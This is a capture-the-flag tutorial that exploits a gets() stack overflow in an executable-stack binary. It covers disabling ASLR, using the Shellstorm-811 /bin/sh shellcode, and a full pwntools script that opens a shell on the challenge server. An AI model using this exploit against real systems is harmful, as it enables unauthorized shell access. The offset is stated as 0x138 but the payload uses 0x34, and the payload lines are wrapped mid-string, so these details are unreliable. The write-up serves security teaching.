location

We are going to practice writing shellcode against a binary that has an executable stack. Note that this is a relatively uncommon attack, because executable stacks are turned off by default. Shellcode can often work better with other exploit techniques that alter the binary.

Verifying Shellcode

We check the security measures to see that shellcode is plausible:

```
$ checksec location
[*] '/home/joybuzzer/Documents/vunrotc/public/02-
shellcodes/location/src/location'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments
```

The mark that the stack is executable is our sign that we are able to use a shellcode attack. Note that the reverse is not always true: *a binary with a non-executable stack can still be vulnerable to shellcode attacks.*

Running the Binary

Running shellcode binaries are good ways to check the information we have:

```
$ nc vunrotc.cole-ellis 2300
Buffer is at 0xffffd308
[[[Test input]]]
You lose!
```

We might notice that if we run this file *remotely* multiple times, the address of the buffer is not changing. What happens when we run the file *locally*? We notice that the address of the buffer changes every time, and by a significant amount.

> The reason behind this is a security measure called **ASLR**. ASLR stands for **A**ddress **S**pace **L**ayout **R**andomization. ASLR is a security measure that randomizes the location of the stack and heap in memory. This means that when the binary is loaded, the address of the buffer is guaranteed going to change. This makes it harder to exploit the binary, because we can't just hardcode the address of the buffer into our exploit.

Because ASLR is turned off on the remote server, the address is not changing. ASLR is turned on locally, so the address is changing. We can turn off ASLR locally to make our lives easier:

```
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

> To turn it on again, use `echo 2 | sudo tee /proc/sys/kernel/randomize_va_space`.

Static Analysis

One of the first things you should notice is that there is no `win()` function, or anything like that. This means that we're going to need to get the flag some other way. We also notice that the `flag.txt` file is never loaded (verifiable by `strings location | grep flag.txt`). *How can we solve this?* If we can find some way to get a shell on the remote server, we can read the flag ourselves.

There is an obvious vulnerable `gets()` call, and we know that the stack is executable. This means that we could write lots of shellcode in our buffer. Since we know where the address of our buffer is, we can then jump to that address and execute our shellcode.

Writing the Shellcode

Writing your own shellcode is a bit out of the scope of the screener. The screener more focuses on ways that you can exploit a binary as well as use your resources rather than reinventing the wheel and doing it from scratch.

I use the same few shellcodes for most of my challenges. There is an online database of shellcodes called Shellstorm that has lots of functional shellcode for various architectures.

Since this is a 32-bit binary, I choose an x86 shellcode that spawns a shell. Shellstorm-811 is a great choice for this challenge. The shellcode reads:

```
08048060 <_start>:
 8048060: 31 c0                xor    %eax,%eax
 8048062: 50                   push   %eax
 8048063: 68 2f 2f 73 68       push   $0x68732f2f
 8048068: 68 2f 62 69 6e       push   $0x6e69622f
 804806d: 89 e3                mov    %esp,%ebx
 804806f: 89 c1                mov    %eax,%ecx
 8048071: 89 c2                mov    %eax,%edx
 8048073: b0 0b                mov    $0xb,%al
 8048075: cd 80                int    $0x80
 8048077: 31 c0                xor    %eax,%eax
 8048079: 40                   inc    %eax
 804807a: cd 80                int    $0x80
```

We can either pass the shellcode as a string of functions, or we can pass it as a byte string of hexadecimal values. Frankly, the second one is easier, and the shellcode is provided in that format:

```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc
2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
```

Writing the Payload

We need to consider how we're going to craft this payload. The only reference we have is the address of the buffer, meaning that the shellcode needs to start there. We still need to overwrite the return pointer. We see that we need to write `0x138` bytes to reach the return pointer.

Thankfully, Python has a way to fill a string to a desired size: `ljust`. `ljust` takes two arguments, being the new size of the string, and the character you want to use to fill the empty space. `ljust` will **left justify** the old string in the new string, filling the empty space on the back. (*There are other commands like `rjust`, but that's not useful for us in this case*).

We can format this command as

```
payload = payload.ljust(0x138, b'A')
```

This means that our payload is going to look like:

```
payload =
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\
xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload = payload.ljust(0x34, b'A')
payload += p32(buf)
```

Getting the Buffer Address

How do we get the address of `buf`, where we're writing to? Pwntools has a method that lets us receive data, so we can receive that address and convert it into a buffer.

There are multiple methods to receive data from the process. By far the most useful is `recvuntil()`, which takes an argument of the string you want to match when receiving data. At the first instance it finds the passed string, it will stop receiving data. This means that we should do this in two parts:

1. Get the first part of the data, which is the string before the buffer, then
2. Get the buffer address, and convert it to a hex value.

```
p.recvuntil(b'Buffer is at ')
buf = int(p.recvline().strip(), 16)
```

Let's break this one down:

- We know that the format of the line is "*Buffer is at 0xff8bc508*".
- We first receive all the data before the address of the buffer. That data isn't relevant to us so there's no need to store it.
- Then, we receive the rest of the line, which is the address. `.strip()` removes the newline at the end.

- `int(x, 16)` converts a string with a hex value (i.e. `"0xff8bc508"`) into a hexadecimal.

Flag

This is everything we need to craft an exploit.

```
from pwn import *

elf = context.binary = ELF('./location')
p = remote('vunrotc.cole-ellis.com', 2300)

p.recvuntil(b'Buffer is at ')
buf = int(p.recvline().strip(), 16)
log.info(f'buf: {hex(buf)}')

payload =
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\
xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload = payload.ljust(0x34, b'A')
payload += p32(buf)

p.sendline(payload)
p.interactive()
```

This gets a shell on the remote server, and then we can `cat flag.txt` to get the flag!